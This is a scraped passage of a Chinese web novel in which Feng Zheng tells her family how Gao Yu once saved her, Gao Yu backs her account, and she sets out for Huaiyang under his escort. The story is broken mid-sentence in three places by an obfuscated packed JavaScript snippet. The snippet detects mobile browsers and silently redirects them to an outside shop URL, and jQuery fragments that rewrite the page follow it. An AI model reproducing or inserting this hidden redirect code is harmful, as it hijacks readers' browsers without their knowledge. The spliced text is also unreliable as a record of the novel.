冯筝稍一停顿，孟夫人继续道，“你瞒着娘跟符家传信，这事我不怪你，可你刚刚也说，答应好好待字闺中，安分一点才能保安稳。可是阿筝，你真的在安分待嫁吗？” 孟夫人话至一半，看到女儿先是起疑后又懵懂，完全没意识到错误，点醒她，“就说官禄府茶饼的下落吧。你把官禄府茶饼赠给了谁，瞒得了一时，却莫要以为这事就没其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936810|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人知情。” “娘知道，你一直都是个克己复礼的姑娘，并非有意去趟什么雷池，但是行事总得注意分寸。高郎君与咱家沾亲带故，哪怕亲缘关系弯弯绕绕，按条理说他也是你舅哥，你一个姑娘家又是晚辈，何时能学会主动避嫌？” 冯筝投去视线，云雀耷着脑袋羞愧至极，一眼都不敢看她。 原来云燕的提醒不全是挑唆，她别开眼，没想到捂来捂去，茶饼的去向还是得败露。 不过现在已经没什么好瞒的了。 “他之于我，仅仅只是三舅哥吗?”冯筝钝钝扭过脸，惋惜暗叹，“高郎君之于我，岂是舅哥这样简单的称呼能概括的。” 此话一出，满座大惊失色，冯公握着沉檀乌木的扶手静默不语，迟迟没有出声，冯筝调转话锋。 “外面的人都说祖父如何守信重诺，祖父赚得一兜好口碑，怕是只有我知道，你的公道，当真难等。” 冯承琨忍怒，“阿筝，不能对你祖父无礼！” 冯筝坐姿端庄，没有半点认错的自觉，只最后一遍望了眼庭院。 灯笼光芒黯淡，只够照亮一小片台阶，台阶往外静悄悄的，每一声虫鸣都在催她孤军奋战。 首座两侧，谁都不知道她在等什么，又或者她纯粹想要看看夜色，孟秋几乎以为女儿魔怔了，冯筝回头，眼底分明清亮漱雪。 “襄阳崇祝寺的山脚下有一条春江，爹娘来接我的那天，我跟爹娘提起过一位恩公，他就是顺着春江前行，用他绣囊里的银钱哄我告别……” 至此，冯筝把旧事毫无保留地交待了出来。救她的善贤自称刍荛，接济她的刍荛全名高豫，种种实情示了众，郁积多年的心事落了地，却没感到片刻轻松。 “如果不是出公差的高豫发了善心，如果不是他认出匪贼，搭救我后送我就医，我如今，只怕是生是死还未可知。当初我顾忌自己清白不复，他为了治愈我的身心煎熬，在我面前放低姿态，用糖块挑起我微弱的信心，告诉我生活最重要的就是惜命……” 惊愕捂嘴的蘅娘，频频走神的阿伯，手足无措的双亲，他们将信将疑的脸上布满猜疑，冯筝强作坚韧，鼻尖还是涌上了酸楚。 好难得，不用手帕蹂躏，眼眶也红得彻彻底底。 她快步走到堂屋正前，倏地提裙跪下。 “高豫他自嘲罪臣后裔，劝我莫要跟他挨边，他制止我打破亲疏照拂他，可我只是给他端了碗解酒汤。一文钱不值的解酒汤，偿还银两都不够，他这点恩惠都要计较，一句话就把恩情两清，他小气又大度，桩桩件件，却都在提防会害冯家惹来非议。” 高蘅呜咽出声，云雀忍着哽咽维持体面，暗求姑娘不要再说，然而冯筝不依不饶。 “好残酷，认出高豫的那一天，我本是抱着看热闹的心态来见他，谁知这世道就爱乱开玩笑。我原以为，比药膳更苦的是我的遭遇，想不到比我苦的大有人在。我知道时人对他怀有偏见，人都有趋利避害的本能，别人如何疏远他唐突他，都不要紧，但在意我的亲族，至少不要折辱了他。” “我感恩戴德地说这些话，不求家人如何厚待他，不求家人如何酬谢，只想告诉各位尊亲，高豫论迹论心都是君子，他先是善贤先是恩公，然后才是我阿伯的妻舅。” “娘，高郎君之于我，不是舅哥这样简单的称呼能概括的。如果真的要论亲伦避嫌，那也是在出阁以后。在那之前，我可能还是得关照他的……所以以后，比起对我些微的关照指指点点，口舌纷争之上，还望诸位，饶过阿筝。” 说完，她庄重地叩拜下去，不敢受礼的陪侍退到两旁，唯恐承受家主盛怒，同时也于心不忍，祈祷这段波折就这样过去。 冯筝这一拜叩得很实，额头磕到地面，此起彼伏的惊呼声中，双膝莫名离了地，一只手轻巧地托起她胳膊。 安排都是失策的，预想好的事都变得乱糟糟的。 她扭头看向拉她的人，强硬垒起的意志，在失算的结果前软绵绵倒塌，她对高豫的出现没有惊喜，只觉得自己丢尽了脸。 他没有对长辈邀约视若无睹的轻慢，没有擅闯他人家宴的狂悖，膳堂家宴已散，他是因为不想打搅姊婿家宴，所以才挑这个时候拜访的吗？ 他穿着白襟靛蓝底的长裾，显然出门前耐心打理过一遍。他凭晚辈的身份主动登门，不惜换上新衣以示尊重，会猜到临到人前，却被推入这样一个尴尬的处境吗？ 对于任何酬劳和谢意，只要他想，他就能有千百种说辞推搪，但他还是来了，接的是惠安酥糖，也更是人情。 高豫掌心发烫，握住她胳膊的手没有松开。 观察着这群表面有礼，实则神情复杂的一干人等，他从庭院一路走来，晚风送来她贵重的话，高豫已经了然一切。 吴嬷扑到他腿边，大声跪谢善人大恩，感激涕零的腔调中，众人陆续起身注目。 高豫备受瞩目，一手扶起仆妇，一手将冯筝拂到身后，终于面朝首座，说出了自己进门以来的第一句话。 “很意外。” “我是听贵府说过会备礼答谢，未曾想，备的是个这么大的礼。” 24. 第24章 冯筝站在他白襟靛蓝底袍裾后，盯着他革带束出的腰封一角，其上两粒宝珠暗扣，可能是他浑身唯一奢侈的东西。 那些或审视或涕零的视线，在他的遮挡下，全部加注在他一人身上，冯筝骨鲠在喉，觉得事情不该是这样的走向。 高豫一语双关，前者在指酥糖之赠，而后更大的礼，完全超脱他的预想。 听他讲出这般感想，她有些惭愧，若非她自作聪明，非得这时候挑明过去，他获悉冯公回城，本来是可以安安稳稳地走完这一趟探望的。 那样一来，双方都可以有一个体面的结果，何苦闹到这样难收场。 堂庭微风阵阵，高豫背朝隔扇门，风吹动那衣料，袍角如翼翻飞，冯筝打了个哆嗦，失态地咳嗽起来。 孟秋、冯承琨等凝滞半晌的人终于有了动作。冯公呼唤福登赐座，陪侍们摆座添茶，把惠安产的酥糖也献出来待客，前后气氛相差之大，显然襄阳旧事摆到明面上，对这家人来说也是个意外。 高豫的眼神极轻地抬了一下，不轻不重，刚好让斜对座的冯筝接收到责难。 事实是她会错了意。 高豫点她，不是责怪，乃是因为她站在被动的处境下宣扬他善迹，不惜牺牲身段，恳求家中饶过她，也要坚持对他报答和照拂，这事说小也小，往大了说也很严酷。 因为但凡他不认，长辈面前，她这就是忤逆和蒙骗。 她冒着忤逆蒙骗的风险坦白这些，高豫并不觉得，她信任他，会信任到相信他面临抉择，一定会选择站稳她阵脚，而不是坚持两清，否认她，推翻她此前一切言说。 比起这种过于单纯的信赖，他宁可相信她自作主张之前，完全没料到亲人猜疑之重，会显得她所言种种都是一面之词，以至于需要他的配合，才能给此事盖棺定论。 堂中两房人都有些懵。 高豫是恩人、晚间他又突然造访，出乎意料的事一桩接一桩冒出来，直到冯公吩咐赐座，用酥糖谢过他的疏通，众人才知道，冯公谢的，其实无关冯筝那则恩情。 冯承纲豁然开朗，之前的困惑也有了答案。父亲谢过高豫在惠安郡的搭救，看来慎刑司的刑差之所以好交涉，是因预先经过高郎君疏通。 众人便慢慢悟出，高豫此行是来探望人的，碰巧赶上趟，撞上冯筝拿他牵扯往事。 然而，他没有顺着冯公这则话题下坡。他明言道，“惠安郡的事，没有冯姑娘冒雨赶来知会，我也不能及时做出行动，实在要谢，这些酥糖应分她一半。不过诸位，冯姑娘之前所言，并非她的一面之词。” 霎时间，热闹重新沉寂下去，那些消融的冰碴子重新凝结。 相对的，期盼姑娘能如意的吴嬷等人，那些踊跃又失落的心情重新振作起来。 “三年前，在我还是睦州观察使的时候，我微服查案，偶然救下贵府千金。那时的我困在襄阳腹背受敌。她状态不好，我借驿令之手，替她联系家眷后，勉强把她放在医馆，打算回司衙呈报案情，事后发现我自己也走不脱，便善始善终承担起了照顾之责。” “很惭愧，人是我救的，就这么撂下很丧良心，好在最后没那么做。结伴月余，她有好好照料自己，我不曾近身，她对我也谨慎提防，关于清誉，诸位姻亲大可安心。” “说来更惭愧，曾经的我自称刍荛瞒她，未曾想过透露姓名。从古至今，萍水相逢之人很少能再见，杏山脚下雾满拦江，拦的便是我们的未来。谁知世道编的玩笑，就这么令人啼笑皆非，谁知我未来的姊婿，恰好就是冯姑娘阿伯。” “阔别三年间，我经历过很多事，遇见过许多人，那些善恶是非，渐渐磨灭了我的感情，使我很长一段时间都疏于表达，情绪也越来越清淡。我们二人交情不深，那天庭院前认出她，我却体会到他乡遇故知是什么感觉，动容之至，这才冒昧冲撞到她。” 高豫细说至此，对上她惊疑不定的眼神，最后给出他的态度。 “冯姑娘，我没那么好，也没那么糟糕。此前我确实顾虑很多，但听你一席肺腑之言，当你一声善贤之称，今夜这趟拜访，我想是我乐意之至。” 他这一席话，比当初她一句“高郎君之于我，岂是舅哥这样简单的称呼能概括的”还要惊人。 冯家两房愣住，一时都忘记了出声。 孟秋身后，云雀抖成筛糠，她激动颤栗，不知道这是什么心情。酥糖她一块也没尝，竟然觉得满屋子都甜丝丝的，像她吃过的拔丝糖浆，藕断丝连的甜快要把她喂饱。 一直沉默着的冯公站起来，笑意终于藏不住。 “三年前的旧事，我帮哪边说话都是偏私。阿筝先提，有人会疑我偏私孙女，高三郎先提，则会疑我偏私故友之子。” “当年的实情，他们两人再清楚不过，如今双双把话说开，细节必然经得起查证，也没必要编造谎言闹到人前。今夜发生的事，由不得任何人怀疑，但凡有人敢嚼舌，又或者是大肆声张，那就是嫉妒心作祟，嫉妒他们情谊纯洁。” 话说到这份上，已经很公道了。 冯公走出，面朝高豫作揖一拜，众人缓过神来，纷纷朝恩人跪拜下去，高豫哪能受此大礼，很快把他们扶起来。 屋里闹哄哄的，高蘅和冯筝起身站在座位边，对视一眼，都有各自的无所适从。 高蘅无措，是因满堂冯家家眷，唯独她不合适跪。冯筝无措，是有些恍惚，事情兜兜转转，还是回到了她最初预想中的那副样子。 亲人感激涕零，她无法独善其身，上前挽住母亲的胳膊，望向高豫，曲膝朝他过了遍礼。 孟秋泪流满面，别过头，想起当年的煎熬和忧伤，对高豫的感激不比旁人浅淡，她擦干泪配合众人待客，屋里重新热络起来。 至此，高豫往那儿一坐，就是实打实的贵客，恰巧他袍服华美，若有犀金色玉带往腰上一挂，妥妥的荣华无边，富贵昭彰。 稍候，果真有人前来献宝。 冯承纲手捧一条玉蹀躞出现，不顾高豫的推辞就给人佩戴。 “这是父亲的意思，阿筝是冯家嫡女嫡孙，她的性命是你救下，一点薄礼，请高郎君务必笑纳。” 这条玉蹀躞，原是冯公致仕前，官服上的一道配饰，作为上善赐留的品级之物，已经失去它曾经品秩的象征，所以赠予黎庶也没有问题。 冯筝以前从未见过此物。看到祖父其实有比茶饼还要珍贵的宝贝，她眼红一瞬，但转而就鼓动高豫收下。 高豫却之不恭，感谢冯公慷慨馈赠，好一会儿，前堂恢复了往常的和睦。 茶过两巡，还未到申时，冯公陪着晚辈们说话，笑意始终不达眼底，趁众人其乐融融，问，“接上我之前问你的话。阿筝，你还愿不愿意去淮阳见你表姑母一面？” 经过一番变故，孟夫人的态度变得松软，但这事重提，还是有些拒绝之态。 冯筝被祖父问住了。 此前关于探亲的说辞，都是她引出刍荛善举的铺垫，此刻真正思索起探亲，表姑母慈溺的面容才浮现在脑海。 寄住淮阳的记忆有些模糊，她笑了笑，眼底闪过孺慕的温情。 符夫人深谙教养之道，淮阳远近，对后辈以苛责著称，但或许是怜惜她寄养的缘故，对她常常暗怀偏袒。 话说早晨训诫子嗣时殃及到她，夜深人静之时，她又偷偷捎来蜜饯示好。 “江阳摊商喜甜，自专做糖，只管叫伙计使了劲放糖，我吃不惯，却每次都愿意将它全乎地吃完。” “后来有一日，蜜饯被表兄发现，他告发到表姑母跟前，以蜜饯出自后厨为由说我偷盗。表姑母气急，当众打了他十八个戒棍，她讲清蜜饯来处，袒护我的事情也由此败露出来。” “好在以后，表姑母再也没有向我塞过蜜饯了，而我也不用再受这甜牙之苦。” 她自顾自说着困扰的话，劫后余生般叹出一息，嘴里说苦，笑意却真诚。高豫坐姿沉稳，所有神情都被他巨细靡遗地纳入眼中。 高豫至今都记得，三年前她遇匪获救后缠绵病榻，偶然半梦半醒，梦话迷茫又遗憾，那时他曾耐心地问，除了归期不定的迷茫以外，她到底还在遗憾什么。 是遗憾她驰援不到的亲人，还是遗憾她被迫告吹的行程？ 沉睡的人不会答复，醒后也不会给出回应，当她的病情渐渐好转，当探病远亲的失望溢于她言表，高豫对后者也能感知一二。 说实话，事情过去这么久，表姑母已经康健无碍，冯筝对于探亲的想法，并没有那么强烈执拗，如若母亲坚持反对，她也愿意向母亲服个软。 她便如实将想法告诉祖父。冯公沉思半晌，眼角皱纹挣扎很久，之后，忽而说起他在寿宴时的见闻。 “此前我应一则邀帖，出门为故旧前中郎将誊写贺序。” “酒宴半程，宾朋唱辞，不料转眼间，前有慎刑司越过地方宪司，赫然包抄寿堂拿人，后有前中郎将撞柱自裁，血光染红他半幅锦袍。” “刑差及时控制了他。” “栽进谋逆之流，等同死罪。他惋惜自己时日不多，只求能吃一碗寿面，慎刑司允准了他，以防又生差池，洪徵明接过碗筷，亲手给他喂这碗寿面，但最后，还是被他服毒自裁。” 热茶之上腾起的雾，如过眼云烟稍纵即逝，冯公垂眼，悲戚翻涌：“手沾金纸，落笔忌悔，我应邀登堂誊写贺序，于是，好好一出恭人过寿的贺联，到头来，却写成了供人治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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父亲和阿伯陆续出声，面对高豫，依旧那么客套守礼，但她清楚，那一声声“回路平安”里，都是真情实感。 高豫准确望过来，轻点了下头，冯筝似懂非懂，以为算作告别，高豫道，“冯姑娘，我好像落了东西。” 她便又似懂非懂地应下，一趟来回，门前早已恢复清静。 他脚踩银蹬跨上马，青年蹀躞带缠腰，暗雕的鳞纹密如寒星，她径自上前，一把将酥糖塞进了鞍袋。 他有话单独说，所谓遗落东西只是托词，但这托词不能被挑理，所以用酥糖应付准没错。 果然，高豫欣赏般点点头，冯筝暗暗得意，也没得意太久。 料他出手帮她应付局面，“乐意之至”的话不能当真。她提醒自己，对他那番说辞不能太较真，然后安心等着他的责怪，责怪她自作主张“摆他一道”。 然而他只是轻轻地说。 “答应我，以后不要轻易就跪了。” 冯筝语塞，因马匹和她胸脯等高，只能从下往上稍稍地瞭，略带气音，“若非情势所逼，谁愿意动不动就跪呢……” 他就笑笑没有接话。 其实她自己也有事想说，奈何临时没想起来。骏马喷一道响鼻，冯筝后退了下，没再多问什么，简单道别，而后背朝府门离开。 高豫久久凝视这边，忽唤她的名姓。 “冯筝。” “嗳。” 冯筝旋踵回身，高豫看着她。 “你从来不是个自寻苦恼的人。” 没头没尾的一句话，她这就想起，她其实是在纠结，要不要跟他去淮阳，想要问的事也和它相关。 自打前堂出来，她纠结的表情就写在脸上，旁人看得分明，她自己倒是抛诸脑后。 冯筝呵呵苦笑，懂得他话中深意。 想当年蛰居卧病襄阳城，她想推药碗就推了，于是药碗碎了一地；她想雪恨雪耻就表现了出来，颤着筷箸那股悲催劲儿，还不是引高豫帮她端了贼窝。 冯筝意会，“是啊，有难题就解决，纠结来纠结去纯属自讨苦吃。” 但她终究没问他什么，只因纠结的根源不在于路途遥远或辛苦与否，而在于娘亲的首肯真不真心。 有限的停顿里，晚更的钲锣声远远响起，砚巷两人迟迟没动，高豫忽道，“如果实在没想好，实在拿不定主意，就去求一支出行签吧。” 冯筝思绪骤停。 “签意好就去，不好就不去。听说宣城的宅眷参禅悟道，出门前多爱求签问路，你不如效仿她们。” “无论结果怎样，我都会等到你的答复再动身。” 25. 第25章 在香积寺求过一遍的姻缘签，和出行签貌似没什么两样。去淮阳探亲等同于出远门，前后的事情暗暗应验，预先做过的事，又和他无心的建议微微贴合，冯筝定在原地，后颈皮酥酥麻麻起了层颤栗。 高豫信口一提，没有干涉她的想法，他需赶在宵禁前出城，她便没有多余讲这些。 一路小跑回去，掠起裙幅边垂挂的禁步穗，回到空空的前堂独自坐下，冯筝还在想，这巧合发生得有些胡闹。 拿不定主意的话就听签意的，高豫是这么提的没错，可把选择寄托在求签上，本就是走投无路之人的下策。她已经想好要去淮阳了，就没有再去纠结的道理。 高豫月底才启程，趁还有时间，她还有许多未尽之事要做，试探娘亲的首肯便是之一。 回房好好睡了一觉，隔天醒的晚，随意对付了一顿早膳，就匆匆走到后宅请安。 晚些的时候，府里招进了一些能打的练家子，都是陌生面孔。 他们身材魁梧，年轻悍利，拟在配院这边比试武功，冯家府邸不大，领事的嬷嬷生怕冲撞了女眷，赶紧把人往配院里赶。 二房闹出的动静，吸引附近的婢女红着脸张望。难为冯承琨一个儒师，拿出平时考验学生的狠厉，给女儿挑选出行的武护。 远处阵阵聒噪，冯承琨扭头一看，发现莺莺燕燕堵了院门，脸色难看至极，嬷嬷眼神一紧，麻溜地赶她们滚回去做事。 内宅，孟夫人握了握手心，把一枚平安符交给女儿。她清晨去庙里求这个，态度已经不言而喻。 冯筝眼眶酸胀，拟了一宿的腹稿都多余了，攥紧平安符贴在心口，告诉娘，这次出门会多多小心。 配院那边，冯承琨做了两手准备，若女儿不去探亲，那武夫他就聘作陪嫁，笃意要去就聘作护卫。孟夫人没把这些考虑全告诉她，遥想往事，摸上女儿脸颊。 “你爹年轻的时候郁郁不得志，秋闱总是挂在末榜，在京城压根难熬出头。起先啊，他其实不太乐意窝在小郡城只做个夫子，我就劝他，低微自有低微的福。你爹抱了抱你，他没说话我也知道，那个时候，他便已经想通，这安宁的生活，有你的福气也不错。” 说着，语调又歉疚起来，提起昨夜前堂，拂她脸面还揭了短的事。冯筝忙道无碍，孟夫人抚上她发顶，她便温驯垂头供她抚摸。 孟夫人教她遇事不能逞强，护卫是花银子雇的，这钱就得花得值当。 如今心结已解，还能让孟夫人思虑的，无非这一来一回耽搁月余，和胡家的婚事也得搁置。 温声细语转了口风，让冯筝立刻抬起了头，化用绸布庄何绣娘的话道，“都说好事多磨，若真是属于我的好姻缘，料谁也抢不走。” 她面若桃李，眼瞳清丽，梨花白的缎子裙铺在短榻上，如被世间最纯净的雪围拥，孟夫人怔怔看着，一颗心柔软成泥。 见女儿把平安符放进绣囊中，闲聊之余，忍不住说起早晨时的一桩见闻。 香积寺位于香积山宝地，又有前朝的朝霞元君祠坐落，这些年，参禅悟道的宅眷越来越多，庙里的香火也越来越旺盛。 然而今早去的时候，曾经香客络绎的庙殿，侧门前竟有些吵闹。 孟夫人吩咐厨间煎了副药膳，给药碗拨沫，说着香积寺如何闹事者群集。 闹事者多是香客，他们问姻缘，问出行乃至问子嗣，签筒里出的都是一样的签，话说“莲步签”解释前两者，或许还说得过去，遇上问子嗣的可就离谱了些。 他们拿着签筒里清一色的莲步签，纷纷找庙祝理论，庙祝汗颜，推脱成沙弥打理签筒时出的过失，香客不接受，庙祝赔了好一顿礼，这才把闹剧收尾。 冯筝服用完药膳，想起自己求到的也是“莲步签”，对母亲说的闹剧，由惊讶变得轻松释然。 一切应验都有了解释，闹了这样一出乌龙，再看高豫信口提起的建议，便也没那么玄乎了。 后面的日子过的很快，未尽之事也慢慢料理完。筹备行李，挑选武卫等事有府里照看，一连出晴好多天，吴嬷张罗着要给姑娘晒被褥衣裙，一件件箱笼抬出来，不知情的以为她在搬家。 冯筝扶额，上前制止，“阿姆收收手，我月余后还是要回来的，这趟主打一个轻装简行，被褥春衫什么的都不用带！” 吴嬷往后稍稍腿，窘迫赔笑。院子里好不容易安静了一会儿，窗棂边，探近一个呼唤的声音。 “筝娘——” 女人云鬓簪珠，碧绿的珠翠衬得她气色姣好。眼前一幕，和不久前她背接雨幕，窗前唤她伯娘的画面重叠在一起，冯筝没由来发笑，赶紧将高蘅请进了闺房。 冯筝手里摊着本刑科律籍，云燕伺候笔墨，时不时给她递来颗酸枣，殷勤得惹眼，引高蘅看了她好几眼。 冯筝把云燕屏退，合上书籍，含笑看着她，“伯娘有事找我，知会一声侄女便来，何需亲自来请？” 高蘅挥退身边仆妇，强颜欢笑着先没说话。前阵子，若非孟夫人怼符管事的时候提到她出阁，她这伯娘，怕是还不知道她和胡家相看的事。 高蘅有事相商，或者说有事拜托她，握着帕子的手探进袖笼，仔细着门外没有动静才道，“我本借故路过，说两句话就走，如今坐都坐下了，也不好再跟你打马虎眼。” “伯娘有个不情之请，需给你一样东西，请你帮个忙，择机转交给三郎。” 她停顿住，倒没直接阐明转交何物，藏在袖笼里的手隐隐握紧。 “三郎就职睦州时，回京次数不多，不想当年突逢家变，一应后事都由他料理。从父亲到我，婚丧诸事繁琐，所以随三郎迁居祖地后，我见他的次数依然很少。” “碍于父辈罪身，我们无法请宾客吊唁，只能私下给父亲送灵。那时他一身缟素治丧，腰间缠挂丧绦，而丧绦所缠家玉，却不是弱冠之年父亲给的那块。” “那个时候我才发现，他常带的玉佩没了踪影，原以为他是厌倦了，直到听说你们在襄阳的事，听说他用玉佩救了人，才知道，里面还有这样一桩渊源。” 高蘅垂头，随后从袖笼中掏出一块帕子，层叠揭开，赫然就是一块玉佩。 冯筝心头突跳，继某个荒唐的念头被冷静压下后，高蘅看出她的误会，讪然解释，“这是长兄的遗物。” “是进诰狱前，案犯尚未分开关押以前，长兄生怕挺刑不过，瞒过搜身的狱卒，遗留给我当时他身上仅有的家财。” 话落，冯筝忽而听出别的意味。 原来高相赠玉，是他对子嗣一并有的待遇。原以为高豫及冠后受父亲赠玉，对他来讲有什么特殊意义，看来一切都是她在替他自作多情。 伯娘怜惜兄长流放边陲，本身没什么错，可是找到她跟前，多少有点病急乱投医了。 但高蘅本人并没这么想。 高蘅提起长兄，不似以前潸然含泪，而是果断将玉佩塞到她怀中。 “我知道，三郎待我等亲眷不薄，然而我还是盼着他能眷顾亲伦，眷顾我们亲情一场。之前我提过搭救长兄的事，他虽答应过，但到底应得勉强，这远远不够。” “他行走庙堂多年，总归是有门路可求的。襄阳的事情，他连嫡姐也瞒，可见跟我有隔阂在。事关搭救长兄，三郎婉拒过我一次，我若再劝，他定然不肯理睬，好在筝娘，你的话他是听的。” “那天夜里听你们一席话，看出了三郎跟你交情匪浅。我知道，以你如今待嫁的身份，理应跟外男避嫌，做这个不方便，但是这件事，怕是只有你才能办到。” 冯筝作势推脱，不明白她这句论断从哪里来。她跟高豫，除了一点搭伴生活过的情谊，说白了就是报恩和受恩的关系，哪里当得起一句交情匪浅。 听她一通恳请，冯筝也明白了，她是要她择机将玉佩交给高豫，只求他能睹物思亲，去救还远在边关受苦的高振。 冯筝为难地笑，“我人微言轻，我的话他未必能听，何况他只是提出陪我同行，未必会把我送到淮阳。淮州城池众多，我们说不定会在哪里分开，一不小心错过好时机，又怎么来得及替你转交玉佩呢？” 这副理由未能将人劝退，高蘅眼瞳微微一顿，对她未能理解之处予以体谅，“他自比伴驾，护送你的意思清清楚楚，他既然在冯公面前提起，本意就是负责你南下的安危。” 高蘅见她险些动摇，握住她还要推拒的手，“筝娘不要有负担，没帮到伯娘的忙也不要紧，倘若没给出去，改天你了回府，我再向你讨回来便是。” 高蘅说完这个，想起那夜她一番照拂的话，转移话题又说别的，“这一路上，筝娘没必要太照拂他，虽说上面给他革除了功名，但按照大律，职田不能留，俸钱还是有的，他先前的俸禄攒下来，倒也剩些散碎家底。” “高家家产充了公，他将俸钱挪作贴补婚丧，这才显得左支右绌，如今事情都解决了，囊中应该大有余裕。男子行走在外，总归有些难言的自尊，所以，在银钱一事上，筝娘莫要向他施善。” 高蘅细心嘱咐，冯筝衡量再三，当意识到高豫声称去淮州讨债，留在宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950031|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城的日子便也结束，他们并非来日方长的时候，就觉得临大事前，不管是为了伯娘高蘅还是大舅哥高振，帮高家人做点什么也未尝不可。 高豫提议同行，或许他没别的意图，只是趁着有限且即将耗尽的闲暇，纯粹想要送她一程。 而这也是她作为他的故人，如送张季安调任时那样，和他一并都有的待遇。 挺朴实的一个道理，冯筝接受得心安理得，也理所当然地将玉佩接过。 高蘅露出感激的笑，这笑一直持续到她踏出闺门。月底那天，天边泛起鱼肚白，府门前，两辆马车整装待发，高蘅暗暗朝她挤眉弄眼。 冯筝会意，逆着高豫的背影轻轻颔首，高豫和冯公谈论着路上事宜，没空管这边的眉眼官司。 须臾过后，冯筝也见到了新的护从。两护从都是生面孔，如出一辙的体魄魁梧，肩宽腿长，显然是家中甄选出来的，她的眼神不自觉往二房那边飘，就轮到冯承琨朝她传递眼色。 她哭笑不得，临出发的时候，跟亲眷拜别，环顾一圈，没找到云雀身影。 吴嬷凑过来解释，“她没脸见你，何谈陪姑娘上路，倒没想到，连送行都不敢来了。” 吴嬷腿脚经不起远途劳顿，姑娘此次出门，至少得带云燕一人，云雀没来，冯筝却没有再挑人的心思。 知道姑娘素来自便，用不着伺候，吴嬷没多劝，只祝姑娘一路安康，忽然眼前有什么一溜烟过去。 云燕跑出来，看到扶着姑娘登车的云燕，眼底醋意发酸，对上姑娘回眸，又顷刻只剩下愧疚和羞耻。 云雀塞给她一只铜手炉，扭头就跑，吴嬷嘲弄调侃。 “嗬，姑娘后面的箱笼里，足足装有五六个汤婆子，不缺你这一个呢。” 冯筝就笑，“缺的缺的，我正愁手凉没东西暖暖。” 云雀扭过酸胀的眼不敢看她，冯筝也漫无目的地挪开视线，语调上扬，轻松明快。 “……你们这些守家的小丫头，替我好好照顾好母亲才是。” 宠溺的笑音，和她的脸容一并消失在车帘后，云雀蓦然回首，再也绷不住呜咽出声，她泪如雨下，还是吴嬷走过去拍背顺气。 “好了，夫人挑的出行的好日子，你这时候晦气地哭，岂不是要讨夫人的骂。” 云雀这就收住眼泪，最后望了马车一眼，跟紧门前的孟夫人一块回了府。 出城的路上车辙辚辚，或许是这天宜出门，主街的街道上一路汇入许多车马。 门帘随风轻晃，映出两护从驱车的身影。 云燕早早给她报了信，护卫是两兄弟，听说武艺超群，此刻拉着辔绳坐在车板上，缀在骑马带路的高豫后面，活像俩跟班。 以至于她有种错觉，但凡她不露面，外面的人很难分清她和高豫谁才是主子。 城门路有点堵，趁着行程停顿，冯筝想了想，试图和高豫商量下在襄阳绕道的事。 恰逢两护卫下了马车护驾，他们一个接一个穿梭到窗边，挡住高豫侧影，她只当他们例行差事，耐心等着他们绕开。 碰巧高豫走到另一侧，给守城的官兵交度牒查验，她跟着转向另一侧窗子。 高豫似有所感移来视线，她刚欲唤“三郎君”，又被碍眼的护卫遮了个严实。 说实在话，她对待仆婢随从向来随和，只要不是要紧的事，她能惯着的都惯了，但他们此举，针对谁实在明显。 一路上，对待高豫这位座上宾，两人无处不恭敬礼让，却又无处不多心提防。眼看两护卫把高豫当贼来防，冯筝笑出声，笑得始终肃着脸的护卫差点露出破绽。 他们是冯二爷聘来的，看似多余的举动，实则来自冯二爷的吩咐。 冯筝不知道除了护她安危，父亲还交待了他们什么，也不明白他们这样提防高豫，是蠢笨到会错父亲的意，还是父亲确实蓄意提防——提防高豫“美色当前”生贼子心？ 冯筝刚刚还笑着，思及此，顿时没好脸色。云燕察觉姑娘阴晴不定，面露关切之色，也怪道城门的官兵实在磨蹭，没摸准姑娘到底在焦虑什么。 车帘自从挂上去就没放下来过，只留一层软纱透气，映出护卫巡逻的身影。 冯筝起先好脾气，晾着没管，哪知护卫闲不住，一来二去转悠着出现，绕得她竟开始眼花。 忍无可忍无须再忍，她撩开软纱，枕在窗框边，扶腮守着他们又一遍经过，终于发话，把人支走。 “吃撑了饭就到别处转转，你们绕着马车兜圈子，防贼也不是这么个防法。” 26. 第26章 “从康远郡取道扶陵郡，再往南走抵达淮安，剩下路程就都是陆路了。比起行船，陆路脚程可控，我们若动身及时，还能在十月底前，赶上淮阳人的寒禽宴。” 高豫俯眼望来，告诉冯筝行程的打算，也是听取她意见，若有别的想法也好提前改动。 寒禽宴又称柿宴，是指霜降前后，各地食鸭禽、丁柿等御寒的集宴。冯筝读过地方志，大致了解过一些物产风俗，没接这话，只知道他处处不提襄阳，却又处处绕过了襄阳。 算起来，高豫并非多此一举，毕竟对冯筝而言，蛰居卧病襄阳的岁月不算美好，哪怕命运怜惜，能让她回到过去改变什么，她也不想重新再经历一遍。 他松了缰绳跟在车壁边，驱车的护卫便无计可施，又或者说，早在出城前的那刻，就被她阴阳怪气怼沉默了。 冯筝心情美了些，笑起来，琥珀瞳裹着一圈清水，说没有意见，就按他拟定的路程走。 